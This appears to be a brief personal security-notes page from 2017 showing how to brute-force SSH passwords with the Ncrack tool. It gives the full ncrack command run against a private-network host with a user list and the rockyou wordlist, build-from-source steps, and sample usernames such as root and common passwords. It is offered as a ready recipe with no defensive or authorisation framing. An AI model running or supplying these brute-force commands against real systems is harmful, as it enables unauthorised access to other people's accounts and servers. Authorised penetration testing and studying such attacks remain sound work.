/security/

Ncrack

2017-12-25 19:38:12

ssh brute force attacks

with ncrack can "brute force" password for ssh

ncrack -v -U /home/tmp/users.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.13:22

ncrack is pre-installed in KaliLinux if you want to install ncrack on you local machine use this

apt-get install -y libssl-dev && \\
    cd /home && \\
    wget -O ncrack.tar.gz https://github.com/nmap/ncrack/archive/v0.6.0.tar.gz && \\
    tar -xzf ncrack.tar.gz && \\
    cd ncrack-0.6.0 && \\
    ./configure && \\
    make && \\
    make install && \\
    cd /home && \\
    rm ncrack.tar.gz

if you are ready, type

ncrack -v -U /home/tmp/users.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.13:22

-U file with list of users, like

root
user
szalek
...

-P file with list of passwords, like

123456
12345
123456789
password
...